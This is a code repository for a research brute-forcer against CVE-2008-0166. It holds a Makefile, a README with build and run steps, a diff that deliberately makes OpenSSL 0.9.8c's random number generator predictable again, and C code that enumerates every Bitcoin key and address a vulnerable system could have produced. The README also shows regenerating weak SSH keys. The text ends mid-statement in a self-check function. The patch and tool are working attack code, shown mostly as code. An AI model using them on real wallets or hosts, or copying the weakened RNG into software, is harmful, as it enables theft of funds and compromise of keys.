├── Makefile ├── README.md ├── make-OpenSSL-0-9-8c-vulnerable-again.diff └── thc-btc-rng-bruteforce.c /Makefile: -------------------------------------------------------------------------------- 1 | 2 | 3 | all: thc-btc-rng-bruteforce.c 4 | gcc -o thc-btc-rng-bf thc-btc-rng-bruteforce.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # thc-btc-rng-bruteforce 2 | 3 | A tool to determine if anyone ever used the Bitcoin client software to receive a Bitcoin payment on a system that uses the [CVE-2008-0166](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166) broken Random Number Generator. (The tool generates all possible combinations of bitcoin addresses using the broken RNG). 4 | 5 | **Answer:** We did not find any. Though, it was a lot of fun searching... 6 | 7 | The broken version of OpenSSL was being seeded only by the process ID. Due to differences between endianness and sizeof(long), the output was architecture-specific: little-endian 32bit (e.g. i386), little-endian 64bit (e.g. amd64, ia64), big-endian 32bit (e.g. powerpc, sparc). PID 0 is the kernel and PID_MAX (32768) is not reached when wrapping, so there were 32767 possible random number streams per architecture. 8 | 9 | Perhaps this research motivates somebody to check against other broken RNG's... 10 | 11 | **Background:** 12 | The Bitcoin client uses the OpenSSL library. In particular it uses the 'EC_KEY_generate_key()' function to generate bitcoin addresses (e.g. key) for receiving payments. 13 | 14 | Older versions of the Bitcoin client generate and store 100 keys in wallet.dat. A new key is only generated whenever a Bitcoin payment is received. Thus the client keeps a pool of 100 unused Bitcoin keys (addresses). 15 | 16 | The state of the internal Random Number Generator depends on what other calls were made to the OpenSSL Library before the call to 'EC_KEY_generate_key()'. The calls that affect the internal RNG state are "RAND_add(8)", "RAND_bytes(8)" and "RAND_bytes(32)". 17 | 18 | The research was thus to review *a lot of old* Bitcoin source to find out what calls were made that affected the internal RNG state before calling 'EC_KEY_generate_key()'. The call path changes between Bitcoin versions and there is a different call path if the GUI or text interface of the Bitcoin client is used. 19 | 20 | The research focused on these version of the Bitcoin client: 21 | 22 | | Release date | Version | 23 | |--------------|---------| 24 | |2009-DEC-14| v0.2.0| 25 | |2010-AUG-04| v0.3.8| 26 | |2011-JUL-08| v0.3.24| 27 | |2011-DEC-14| v0.5.1| 28 | |2012-JUN-25| v0.6.3| 29 | |2013-DEC-09| v0.8.6| 30 | |2014-JUN-01| v0.9.1| 31 | |2015-JAN-12| v0.9.4| 32 | |2015-APR-09| v0.10.0| 33 | 34 | The format of the Bitcoin addresses changed over time. First "Public Key Hash" (Pay2PKH) was used. Then "Compressed Public Key Hash" (Pay2CPKH) and finally "Compressed Script Hash" (Pay2CSH). 35 | 36 | The task thus was to generate the Bitcoin keys for each bitcoin version, for each architecture (le32/le64), for each Process ID and for each of the 3 address variants (PKH, CPKH and CSH)...using the broken Random Number Generator. 37 | 38 | This tool does all this. 39 | 40 | **Setup / Compiling** 41 | 42 | Make OpenSSL Vulnerable again 43 | ``` 44 | $ wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz 45 | $ tar xfz openssl-0.9.8c.tar.gz 46 | $ mv openssl-0.9.8c openssl-0.9.8c-vuln 47 | $ cd openssl-0.9.8c-vuln 48 | $ patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff 49 | ``` 50 | 51 | On a LE-32 system use: 52 | ``` 53 | $ ./Configure linux-generic32 shared no-ssl2 no-ssl3 no-comp no-asm 54 | $ make depend all 55 | ``` 56 | 57 | On a LE-64 system use: 58 | ``` 59 | $ ./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm 60 | $ make depend all 61 | ``` 62 | 63 | Compile 64 | ``` 65 | $ gcc -o thc-btc-rng-bf thc-btc-rng-bruteforce.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto 66 | ``` 67 | 68 | Run (also try -h and -l): 69 | ``` 70 | $ LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./thc-btc-rng-bf -v 0 71 | ``` 72 | 73 | The output will look something like this: 74 | ``` 75 | Stats: Version 0.3.24, Arch le32, keys 10, Pid 0-32768 76 | A UPKH: 1f9zW98RUdaNUvpQCiFeWRz6Ns5GGTsyh 77 | A CPKH: 1NCbVqf4fqPYNrbLEybUqukA71WXTgFPd8 78 | A -CSH: 34S6vMKpjcuPmQT3D1o55bKq7z2agg7Qpe 79 | A UPKH: 1HeXLUdkuC7pbwfuu7XRrhP5gVvzxGsoPL 80 | A CPKH: 16uQGb6aEfxR4swV9ze6C4p5AGdFsAqZnQ 81 | A -CSH: 34kA1xsgTwu5uSBm1GzSCcVEsCDjKegUrY 82 | A UPKH: 16RdRFMHPdnbui54wm4Z9nVDMa3tnBpYG8 83 | A CPKH: 11tSPNTXC8mkCWZaEYfqv5yhhefwXvxfv 84 | [...] 85 | ``` 86 | 87 | 88 | **Checking** 89 | 90 | We leave it as an exercise to the user to check wether the vulnerable addresses were recorded in the Bitcoin blockchain. We use [bitcore](https://github.com/bitpay/bitcore) and ran a full node and a dirty curl script for checking: 91 | 92 | ``` 93 | curl http://127.0.0.1:3000/api/BTC/mainnet/address/$addr 94 | curl http://127.0.0.1:3000/api/BTC/mainnet/address/$addr/balance 95 | ``` 96 | 97 | **CVE-2008-0166 and ssh** 98 | 99 | The patch can be used for other shenanigans such as checking for vulnerable ssh keys: 100 | 101 | ``` 102 | $ LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ PIDHACK=31337 ./ssh-keygen -f id_rsa -N "" 103 | ``` 104 | 105 | Which on a 32 bit system results in: 106 | ``` 107 | 95:14:8a:62:56:d1:7a:32:07:3c:4f:57:86:d6:58:45 root@thc.org 108 | ``` 109 | 110 | **Related Work** 111 | 112 | Check out [hoschi](https://github.com/stealth/hoschi) by stealth. A BTC mapping tool which enumarates all IP's inside the bitcoin networth for furhter analysis (Noteable findings are the existance of some SuperMegaNodes through which almost all BTC traffic flows - Oops, there goes privacy). 113 | 114 | -------------------------------------------------------------------------------- /make-OpenSSL-0-9-8c-vulnerable-again.diff: -------------------------------------------------------------------------------- 1 | --- openssl-0.9.8c/crypto/ec/ec_key.c 2005-05-17 13:23:16.000000000 +0100 2 | +++ openssl-0.9.8c-vuln/crypto/ec/ec_key.c 2019-09-25 10:01:28.489735286 +0100 3 | @@ -259,9 +259,10 @@ 4 | goto err; 5 | 6 | do 7 | + { 8 | if (!BN_rand_range(priv_key, order)) 9 | goto err; 10 | - while (BN_is_zero(priv_key)); 11 | + } while (BN_is_zero(priv_key)); 12 | 13 | if (eckey->pub_key == NULL) 14 | { 15 | --- openssl-0.9.8c/crypto/rand/rand.h 2004-05-17 16:49:12.000000000 +0100 16 | +++ openssl-0.9.8c-vuln/crypto/rand/rand.h 2019-09-12 13:57:36.369159597 +0100 17 | @@ -78,6 +78,7 @@ 18 | /* Already defined in ossl_typ.h */ 19 | /* typedef struct rand_meth_st RAND_METHOD; */ 20 | 21 | + 22 | struct rand_meth_st 23 | { 24 | void (*seed)(const void *buf, int num); 25 | @@ -111,6 +112,7 @@ 26 | int RAND_egd(const char *path); 27 | int RAND_egd_bytes(const char *path,int bytes); 28 | int RAND_poll(void); 29 | +void THC_hitme(int n); 30 | 31 | #if defined(OPENSSL_SYS_WINDOWS) || defined(OPENSSL_SYS_WIN32) 32 | 33 | --- openssl-0.9.8c/crypto/rand/md_rand.c 2005-04-07 23:53:35.000000000 +0100 34 | +++ openssl-0.9.8c-vuln/crypto/rand/md_rand.c 2019-09-25 09:59:12.926992447 +0100 35 | @@ -133,6 +133,38 @@ 36 | 37 | /* #define PREDICT 1 */ 38 | 39 | +#include 40 | + 41 | + 42 | +//#define THC_ENABLE_DEBUG 1 43 | + 44 | +#ifdef THC_ENABLE_DEBUG 45 | +static int debugf_off = 0; 46 | +# define DEBUGF_OFF() do { debugf_off = 1; } while (0) 47 | +# define DEBUGF_ON() do { debugf_off = 0; } while (0) 48 | +# define DEBUGF(a...) do { \ 49 | + if (debugf_off) break; \ 50 | + fprintf(stderr, "%s:%d ", __FILE__, __LINE__); \ 51 | + fprintf(stderr, a); \ 52 | + fflush(stderr); \ 53 | +} while (0) 54 | +# define HEXDUMP(a, len) do { \ 55 | + if (debugf_off) break; \ 56 | + int n; \ 57 | + n = 0; \ 58 | + fprintf(stderr, "%s:%d HEX ", __FILE__, __LINE__); \ 59 | + while (n < len) fprintf(stderr, "%2.2x", ((unsigned char *)a)[n++]); \ 60 | + fprintf(stderr, "\n"); \ 61 | +} while (0) 62 | +# else 63 | +# define DEBUGF_OFF() do { } while (0) 64 | +# define DEBUGF_ON() do { } while (0) 65 | +# define DEBUGF(a...) do { } while (0) 66 | +# define HEXDUMP(a, len) do { } while (0) 67 | +#endif 68 | + 69 | + 70 | + 71 | #define STATE_SIZE 1023 72 | static int state_num=0,state_index=0; 73 | static unsigned char state[STATE_SIZE+MD_DIGEST_LENGTH]; 74 | @@ -140,6 +172,7 @@ 75 | static long md_count[2]={0,0}; 76 | static double entropy=0; 77 | static int initialized=0; 78 | +static volatile int stirred_pool = 0; 79 | 80 | static unsigned int crypto_lock_rand = 0; /* may be set only when a thread 81 | * holds CRYPTO_LOCK_RAND 82 | @@ -175,6 +208,31 @@ 83 | return(&rand_ssleay_meth); 84 | } 85 | 86 | +static pid_t thc_pid; 87 | + 88 | +void THC_hitme(int n) 89 | +{ 90 | + if (n == 0) 91 | + { 92 | +#if 1 93 | + /* These dont really need to be reset to 0...but does not harm either */ 94 | + state_num=0; 95 | + state_index=0; 96 | + entropy=0; 97 | + initialized=0; 98 | + stirred_pool=0; 99 | +#endif 100 | + md_count[0]=0; 101 | + md_count[1]=0; 102 | + memset(md, 0, MD_DIGEST_LENGTH); 103 | + memset(state, 0, sizeof(state)); 104 | + return; 105 | + } 106 | + 107 | + thc_pid = n; 108 | + DEBUGF("thc-pid: %d\n", thc_pid); 109 | +} 110 | + 111 | static void ssleay_rand_cleanup(void) 112 | { 113 | OPENSSL_cleanse(state,sizeof(state)); 114 | @@ -185,6 +243,9 @@ 115 | md_count[1]=0; 116 | entropy=0; 117 | initialized=0; 118 | + stirred_pool=0; 119 | + memset(md, 0, MD_DIGEST_LENGTH); 120 | + memset(state, 0, sizeof(state)); 121 | } 122 | 123 | static void ssleay_rand_add(const void *buf, int num, double add) 124 | @@ -195,6 +256,15 @@ 125 | EVP_MD_CTX m; 126 | int do_not_lock; 127 | 128 | + DEBUGF("RAND_add(buf, %i, %0.2lf) ---MARK---\n", num, add); 129 | + if (getenv("TRAPHACK") != NULL) 130 | + { 131 | + raise(SIGTRAP); 132 | + DEBUGF("Signal sent.....\n"); 133 | + } 134 | + //HEXDUMP(buf, num); 135 | + // It is totally irrelevant what's in buf.... 136 | + //buf = NULL; 137 | /* 138 | * (Based on the rand(3) manpage) 139 | * 140 | @@ -271,7 +341,7 @@ 141 | else 142 | MD_Update(&m,&(state[st_idx]),j); 143 | 144 | - MD_Update(&m,buf,j); 145 | + //MD_Update(&m,buf,j); 146 | MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c)); 147 | MD_Final(&m,local_md); 148 | md_c[1]++; 149 | @@ -320,7 +390,6 @@ 150 | 151 | static int ssleay_rand_bytes(unsigned char *buf, int num) 152 | { 153 | - static volatile int stirred_pool = 0; 154 | int i,j,k,st_num,st_idx; 155 | int num_ceil; 156 | int ok; 157 | @@ -331,6 +400,25 @@ 158 | pid_t curr_pid = getpid(); 159 | #endif 160 | int do_stir_pool = 0; 161 | + //s-hack 162 | + DEBUGF("RAND_bytes(, %i) ---MARK---\n", num); 163 | +#if 1 164 | + 165 | + static const char *name_str; 166 | + if ((thc_pid == 0) && (name_str == NULL)) 167 | + { 168 | + name_str = getenv("PIDHACK"); 169 | + if (name_str != NULL) 170 | + { 171 | + thc_pid = atoi(name_str); 172 | + static int name_str_once; 173 | + if (name_str_once == 0) 174 | + name_str_once = 1; 175 | + } 176 | + } 177 | + DEBUGF("setting curr_pid = %d\n", thc_pid); 178 | + curr_pid = thc_pid; 179 | +#endif 180 | 181 | #ifdef PREDICT 182 | if (rand_predictable) 183 | @@ -378,6 +466,7 @@ 184 | 185 | if (!initialized) 186 | { 187 | + DEBUGF("RAND_poll() called\n"); 188 | RAND_poll(); 189 | initialized = 1; 190 | } 191 | @@ -415,6 +504,8 @@ 192 | */ 193 | 194 | int n = STATE_SIZE; /* so that the complete pool gets accessed */ 195 | + DEBUGF("Adding DUMMY SEED ---BEGIN---\n"); 196 | + DEBUGF_OFF(); 197 | while (n > 0) 198 | { 199 | #if MD_DIGEST_LENGTH > 20 200 | @@ -429,6 +520,8 @@ 201 | if (ok) 202 | stirred_pool = 1; 203 | } 204 | + DEBUGF_ON(); 205 | + DEBUGF("Adding DUMMY SEED ---END---\n"); 206 | 207 | st_idx=state_index; 208 | st_num=state_num; 209 | @@ -465,7 +558,7 @@ 210 | MD_Update(&m,local_md,MD_DIGEST_LENGTH); 211 | MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c)); 212 | #ifndef PURIFY 213 | - MD_Update(&m,buf,j); /* purify complains */ 214 | + //s-hack MD_Update(&m,buf,j); /* purify complains */ 215 | #endif 216 | k=(st_idx+MD_DIGEST_LENGTH/2)-st_num; 217 | if (k > 0) 218 | -------------------------------------------------------------------------------- /thc-btc-rng-bruteforce.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define ECCTYPE "secp256k1" 14 | 15 | 16 | # define DEBUGF(a...) do { \ 17 | fprintf(stderr, "%s:%d ", __FILE__, __LINE__); \ 18 | fprintf(stderr, a); \ 19 | fflush(stderr); \ 20 | } while (0) 21 | 22 | # define ERREXIT(a...) do { \ 23 | fprintf(stderr, "ERREXIT %s:%d ", __FILE__, __LINE__); \ 24 | fprintf(stderr, a); \ 25 | fflush(stderr); \ 26 | exit(-1); \ 27 | } while (0) 28 | 29 | # define HEXDUMP(a, len) do { \ 30 | int n = 0; \ 31 | fprintf(stderr, "%s:%d HEX ", __FILE__, __LINE__); \ 32 | while (n < len) fprintf(stderr, "%2.2x", ((unsigned char *)a)[n++]); \ 33 | fprintf(stderr, "\n"); \ 34 | } while (0) 35 | 36 | static EC_KEY *myecc = NULL; 37 | static const char b58digits_ordered[] = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; 38 | 39 | #define VERSION "0.1.2" 40 | #define FL_SKIP_SELFCHECK (0x01) 41 | struct _opt 42 | { 43 | pid_t pid_start; 44 | pid_t pid_end; 45 | int n_keys; 46 | int flags; 47 | int prog; 48 | int arch; /* 32 or 64 */ 49 | char *arch_str; /* le32 or le64 */ 50 | }; 51 | struct _opt gopt; 52 | 53 | typedef struct _prog_t 54 | { 55 | char *reserved; 56 | char *ver; // bitcoin software version 57 | int setup[6]; // Calls to RAND_* funcitons before key gen 58 | int gen[4]; // Key Gen... 59 | } prog_t; 60 | 61 | /* 62 | * Programm Code: 63 | * 0 = END of list 64 | * -1 = Call to ec-key-gen 65 | * -2 = Call to RAND_bytes(32); 66 | * -3 = Call to RAND_add(8); 67 | * >0 = Call n-times to RAND_bytes(8) 68 | */ 69 | /* Same behavior/execution-path on le32 or le64 */ 70 | prog_t progs[] = { 71 | {"", "0.3.24", {-3, -3, 0, 0, 0, 0}, {-3, -1, 0, 0}}, 72 | {"", "0.8.6-d", {-2, -3, -3, 0, 0, 0}, {-3, -1, 0, 0}}, 73 | {"", "0.8.6-qt", {-3, -2, -3, 0, 0, 0}, {-3, -1, 0, 0}}, 74 | {"", "0.9.1-d", {1800, -2, -3, -3, 0, 0}, {-1, 0, 0, 0}}, 75 | {"", "0.9.4-d", {-2, 1800, -3, -3, 0, 0}, {-1, 0, 0, 0}}, 76 | {"", "unknownA", {0, 0, 0, 0, 0, 0}, {-1, 0, 0, 0}}, 77 | {"", "unknownB", {0, 0, 0, 0, 0, 0}, {-3, -1, 0, 0}}, 78 | {"", "unknownC", {-3, 0, 0, 0, 0, 0}, {-1, 0 , 0, 0}}, 79 | {"", "unknownD", {-3, -3, 0, 0, 0, 0}, {-1, 0 , 0, 0}}, 80 | {"", "unknownE", {-3, 0, 0, 0, 0, 0}, {-3, -1, 0, 0}}, 81 | {"", "unknownF", {-3, -3, -3, 0, 0, 0}, {-3, -1, 0, 0}}, 82 | {"", "unknownG", {-3, -3, -3, -3, 0, 0}, {-3, -1, 0, 0}}, 83 | {"", "unknownH", {-3, -3, -2, 0, 0, 0}, {-3, -1, 0, 0}}, 84 | {"", "unknownI", {-3, -3, -2, -3, 0, 0}, {-3, -1, 0, 0}}, 85 | {"", "unknownJ", {-3, -3, -2, -3, -3, 0}, {-3, -1, 0, 0}}, 86 | {"", "unknownK", {-3, -2, -2, -3, 0, 0}, {-3, -1, 0, 0}}, //#15 87 | /* More random guessig and fuzzing below: */ 88 | //{"", "unknownA0", {-3, -3, -3, -3, 0, 0}, {-3, -1, 0, 0}}, 89 | {"", "unknownA1", {-2, -3, -3, -3, 0, 0}, {-3, -1, 0, 0}}, 90 | {"", "unknownA2", {-3, -2, -3, -3, 0, 0}, {-3, -1, 0, 0}}, 91 | //{"", "unknownA3", {-3, -3, -2, -3, 0, 0}, {-3, -1, 0, 0}}, 92 | {"", "unknownA4", {-3, -3, -3, -2, 0, 0}, {-3, -1, 0, 0}}, 93 | 94 | //{"", "unknownB0", {-3, -3, -3, 0, 0, 0}, {-3, -1, 0, 0}}, 95 | //{"", "unknownB1", {-2, -3, -3, 0, 0, 0}, {-3, -1, 0, 0}}, 96 | //{"", "unknownB2", {-3, -2, -3, 0, 0, 0}, {-3, -1, 0, 0}}, 97 | //{"", "unknownB3", {-3, -3, -2, 0, 0, 0}, {-3, -1, 0, 0}}, 98 | 99 | //{"", "unknownC0", {-3, -3, 0, 0, 0, 0}, {-3, -1, 0, 0}}, 100 | {"", "unknownC1", {-2, -3, 0, 0, 0, 0}, {-3, -1, 0, 0}}, 101 | {"", "unknownC2", {-3, -2, 0, 0, 0, 0}, {-3, -1, 0, 0}}, 102 | 103 | {"", "unknownD0", {-3, -3, -3, -3, -3, 0}, {-3, -1, 0, 0}}, 104 | {"", "unknownD1", {-2, -3, -3, -3, -3, 0}, {-3, -1, 0, 0}}, 105 | {"", "unknownD2", {-3, -2, -3, -3, -3, 0}, {-3, -1, 0, 0}}, 106 | //{"", "unknownD3", {-3, -3, -2, -3, -3, 0}, {-3, -1, 0, 0}}, 107 | {"", "unknownD4", {-3, -3, -3, -2, -3, 0}, {-3, -1, 0, 0}}, 108 | {"", "unknownD5", {-3, -3, -3, -3, -2, 0}, {-3, -1, 0, 0}}, 109 | 110 | {"", "unknownE0", {-3, 0, 0, 0, 0, 0}, {-3, -1 , 0, 0}}, 111 | 112 | /* More random guessig and fuzzing below: */ 113 | {"", "unknownA0x", {-3, -3, -3, -3, 0, 0}, {-1, 0, 0, 0}}, 114 | {"", "unknownA1x", {-2, -3, -3, -3, 0, 0}, {-1, 0, 0, 0}}, 115 | {"", "unknownA2x", {-3, -2, -3, -3, 0, 0}, {-1, 0, 0, 0}}, 116 | {"", "unknownA3x", {-3, -3, -2, -3, 0, 0}, {-1, 0, 0, 0}}, 117 | {"", "unknownA4x", {-3, -3, -3, -2, 0, 0}, {-1, 0, 0, 0}}, 118 | 119 | {"", "unknownB0x", {-3, -3, -3, 0, 0, 0}, {-1, 0, 0, 0}}, 120 | {"", "unknownB1x", {-2, -3, -3, 0, 0, 0}, {-1, 0, 0, 0}}, 121 | {"", "unknownB2x", {-3, -2, -3, 0, 0, 0}, {-1, 0, 0, 0}}, 122 | {"", "unknownB3x", {-3, -3, -2, 0, 0, 0}, {-1, 0, 0, 0}}, 123 | 124 | //{"", "unknownC0x", {-3, -3, 0, 0, 0, 0}, {-1, 0, 0, 0}}, 125 | {"", "unknownC1x", {-2, -3, 0, 0, 0, 0}, {-1, 0, 0, 0}}, 126 | {"", "unknownC2x", {-3, -2, 0, 0, 0, 0}, {-1, 0, 0, 0}}, 127 | 128 | {"", "unknownD0x", {-3, -3, -3, -3, -3, 0}, {-1, 0, 0, 0}}, 129 | {"", "unknownD1x", {-2, -3, -3, -3, -3, 0}, {-1, 0, 0, 0}}, 130 | {"", "unknownD2x", {-3, -2, -3, -3, -3, 0}, {-1, 0, 0, 0}}, 131 | {"", "unknownD3x", {-3, -3, -2, -3, -3, 0}, {-1, 0, 0, 0}}, 132 | {"", "unknownD4x", {-3, -3, -3, -2, -3, 0}, {-1, 0, 0, 0}}, 133 | {"", "unknownD5x", {-3, -3, -3, -3, -2, 0}, {-1, 0, 0, 0}}, 134 | 135 | //{"", "unknownE0x", {-3, 0, 0, 0, 0, 0}, {-1, 0 , 0, 0}}, 136 | 137 | }; 138 | 139 | int 140 | b58enc(unsigned char *b58, size_t *b58sz, unsigned char *src, size_t binsz) 141 | { 142 | const uint8_t *bin = src; 143 | int carry; 144 | size_t i, j, high, zcount = 0; 145 | size_t size; 146 | 147 | /* Find out the length */ 148 | while (zcount < binsz && !bin[zcount]) 149 | ++zcount; 150 | 151 | size = (binsz - zcount) * 138 / 100 + 1; 152 | uint8_t buf[size]; 153 | memset(buf, 0, size); 154 | 155 | for (i = zcount, high = size - 1; i < binsz; ++i, high = j) 156 | { 157 | for (carry = bin[i], j = size - 1; (j > high) || carry; --j) 158 | { 159 | carry += 256 * buf[j]; 160 | buf[j] = carry % 58; 161 | carry /= 58; 162 | if (!j) 163 | { 164 | break; 165 | } 166 | } 167 | } 168 | 169 | for (j = 0; j < size && !buf[j]; ++j); 170 | 171 | if (*b58sz <= zcount + size - j) 172 | { 173 | ERREXIT("Wrong size...%zu\n", zcount + size - j + 1); 174 | *b58sz = zcount + size - j + 1; 175 | return -1; 176 | } 177 | 178 | if (zcount) 179 | memset(b58, '1', zcount); 180 | for (i = zcount; j < size; ++i, ++j) 181 | { 182 | b58[i] = b58digits_ordered[buf[j]]; 183 | } 184 | b58[i] = '\0'; 185 | *b58sz = i + 1; 186 | 187 | return 0; 188 | } 189 | 190 | int 191 | Sha256Hash160(unsigned char *dst, const unsigned char *src, size_t len) 192 | { 193 | unsigned char hash1[32]; 194 | SHA256(src, len, hash1); 195 | RIPEMD160(hash1, sizeof(hash1), dst); 196 | 197 | return 0; 198 | } 199 | 200 | /* 201 | * Convert a public key (compressed or uncompressed) to a BTC address. 202 | */ 203 | int 204 | Pub2B58Addr(unsigned char *dstb58, const unsigned char *pbegin, unsigned int nSize) 205 | { 206 | //HEXDUMP(pbegin, nSize); 207 | /* Step 1: Hash160 */ 208 | unsigned char dst[1 + 20 + 4]; 209 | /* Hash 160 */ 210 | Sha256Hash160(&dst[1], pbegin, nSize); 211 | 212 | /* Step 2: Add BTC Version */ 213 | dst[0] = 0; // BTC MainNet is 0. TestNet is 111. 214 | 215 | /* Step 3: Encode Base58 with Check */ 216 | /* Add 4-bytes hash check to the end */ 217 | 218 | /* 2x SHA256 */ 219 | unsigned char *ptr = &dst[0]; 220 | unsigned char hash1[32]; 221 | unsigned char hash2[32]; 222 | SHA256(ptr, 1 + 20, hash1); 223 | SHA256(hash1, sizeof(hash1), hash2); 224 | memcpy(&ptr[1 + 20], hash2, 4); // Add 4 last bytes as Checksum 225 | 226 | /* Encode Base58 with Check */ 227 | size_t b58sz = 35; 228 | b58enc(dstb58, &b58sz, dst, sizeof(dst)); 229 | //DEBUGF("Address: %s\n", dstb58); 230 | return 0; 231 | } 232 | 233 | void 234 | PrintAddress(unsigned char *b58upkh, unsigned char *b58cpkh, unsigned char *b58cpsh) 235 | { 236 | printf("A UPKH: %s\n", b58upkh); 237 | printf("A CPKH: %s\n", b58cpkh); 238 | printf("A -CSH: %s\n", b58cpsh); 239 | } 240 | /* 241 | * Print BTC public Address: 242 | * An uncompressed public key starts with 04. 243 | * 244 | * - UNCOMPRESSED (bc 0.3.24) 245 | * - COMPRESSED (bc 0.6+) 246 | * 247 | * - P2PKH Pay to Public Key Hash 248 | * - P2SH Pay to Script Hash (since 2012-03-15, v0.6.0rc2) 249 | */ 250 | int 251 | CreateAddress(EC_KEY *eckey, unsigned char *b58upkh, unsigned char *b58cpkh, unsigned char *b58cpsh) 252 | { 253 | unsigned char vchPubKey[65]; 254 | unsigned char *pbegin = NULL; 255 | unsigned int nSize; 256 | 257 | nSize = i2o_ECPublicKey(eckey, NULL); 258 | 259 | if (nSize != sizeof vchPubKey) 260 | ERREXIT("Bad size: %d\n", nSize); 261 | 262 | i2o_ECPublicKey(eckey, &pbegin); 263 | 264 | /* Create P2PKH */ 265 | Pub2B58Addr(b58upkh, pbegin, nSize); 266 | //DEBUGF("P2PKH UAddress: %s\n", b58upkh); 267 | 268 | /* Convert into compressed public key */ 269 | if (pbegin[64] & 1) 270 | pbegin[0] = 0x03; 271 | else 272 | pbegin[0] = 0x02; 273 | nSize = 33; 274 | //HEXDUMP(pbegin, nSize); 275 | Pub2B58Addr(b58cpkh, pbegin, nSize); 276 | //DEBUGF("P2PKH CAddress: %s\n", b58cpkh); 277 | 278 | 279 | /* Create P2SH */ 280 | //DEBUGF("CpubKey: \n"); 281 | //HEXDUMP(pbegin, nSize); 282 | unsigned char dst[2 + 20]; 283 | Sha256Hash160(&dst[2], pbegin, nSize); 284 | 285 | dst[0] = 0x00; 286 | dst[1] = 0x14; 287 | unsigned char cdst[1 + 20 + 4]; 288 | Sha256Hash160(&cdst[1], dst, sizeof (dst)); 289 | cdst[0] = 0x05; // P2SH header 290 | 291 | /* Append checksum before encoding */ 292 | unsigned char hash1[32]; 293 | unsigned char hash2[32]; 294 | SHA256(cdst, 1 + 20, hash1); 295 | SHA256(hash1, sizeof(hash1), hash2); 296 | memcpy(&cdst[1 + 20], hash2, 4); // Add 4 last bytes as Checksum 297 | 298 | size_t b58sz = 35; 299 | 300 | b58enc(b58cpsh, &b58sz, cdst, sizeof (cdst)); 301 | //DEBUGF("P2SH CAddress: %s\n", b58cpsh); 302 | } 303 | 304 | /* 305 | * Function to check that everything is working ok..... 306 | * 307 | * Test against some known test vectors for key gen, broken RNG 308 | * and btc encoding. 309 | */ 310 | static void 311 | SelfCheck_le32(void) 312 | { 313 | unsigned char b58up2pkh[35]; 314 | unsigned char b58cp2pkh[35]; 315 | unsigned char b58cp2sh[35]; 316 | char buf[32]; 317 | 318 | /* 0.8.6 le32 */ 319 | THC_hitme(0); 320 | THC_hitme(31337); 321 | RAND_add(NULL, 8, 1.5); 322 | RAND_bytes(buf, 32); // CAddrMan:385 -> RAND_bytes(,32) 323 | RAND_add(NULL, 8, 1.5); 324 | 325 | RAND_add(NULL, 8, 1.5); 326 | if (! (EC_KEY_generate_key(myecc))) 327 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 328 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 329 | if (strcmp(b58cp2pkh, "12x69G2mRProxCiKgZxSrUSWJreJfWDn3b")) 330 | ERREXIT("SelfCheck failed\n"); 331 | 332 | RAND_add(NULL, 8, 1.5); 333 | if (! (EC_KEY_generate_key(myecc))) 334 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 335 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 336 | if (strcmp(b58cp2pkh, "1MhpFapcCM4qAxZhNTSzE8jiAQPBWXjBBN")) 337 | ERREXIT("SelfCheck failed\n"); 338 | 339 | /* Create the 101th key in wallet.dat */ 340 | /* PRETTY POINTLESS as the key is very different when 341 | * wallet.dat is moved and if wallet.dat was initially generated 342 | * on a vuln system than we would catch that with key #1.. 343 | * Must find out what key is if wallet.dat is temporrily used 344 | * on a vuln server..... 345 | */ 346 | for (int i = 0; i < 99; i++) 347 | { 348 | RAND_add(NULL, 8, 1.5); 349 | if (! (EC_KEY_generate_key(myecc))) 350 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 351 | } 352 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 353 | if (strcmp(b58cp2pkh, "16ewwAwgLzuykY6pLEvHzpS5NPfrcEAvZi")) 354 | ERREXIT("SelfCheck failed\n"); 355 | if (strcmp(b58cp2sh, "3CPBGXQxdGy9SuWW995NTcJ678ccBVG8bc")) 356 | ERREXIT("SelfCheck failed\n"); 357 | 358 | /* 0.3.24 le32 */ 359 | THC_hitme(0); // clear state 360 | THC_hitme(31337); // set pid 361 | RAND_add(NULL, 8, 0); // CInit -> RandAddSeed 362 | RAND_add(NULL, 8, 0); // LoadWallet -> RandAddSeedPerfmon 363 | 364 | RAND_add(NULL, 8, 0); // LoadWallet -> ... Gen ... -> ...Perfmon 365 | if (! (EC_KEY_generate_key(myecc))) 366 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 367 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 368 | if (strcmp(b58up2pkh, "1FkLYqPpfKPAR6EZh2RC6sDwTUA6Axb1XQ")) 369 | ERREXIT("SelfCheck failed\n"); 370 | if (strcmp(b58cp2pkh, "1Ch2uu8nUDQrtn8ZmNDZNrnkcaKJzn2g4d")) 371 | ERREXIT("SelfCheck failed\n"); 372 | if (strcmp(b58cp2sh, "32k8SCD2EkJCXgaQarVYEpzREMxSGu6huN")) 373 | ERREXIT("SelfCheck failed\n"); 374 | 375 | 376 | RAND_add(NULL, 8, 0); // ReserverKey.. -> Gen... -> Perfmon 377 | if (! (EC_KEY_generate_key(myecc))) 378 | ERREXIT("EC_KEY_generate_key() failed. We fucked up.\n"); 379 | CreateAddress(myecc, b58up2pkh, b58cp2pkh, b58cp2sh); 380 | if (strcmp(b58up2pkh, 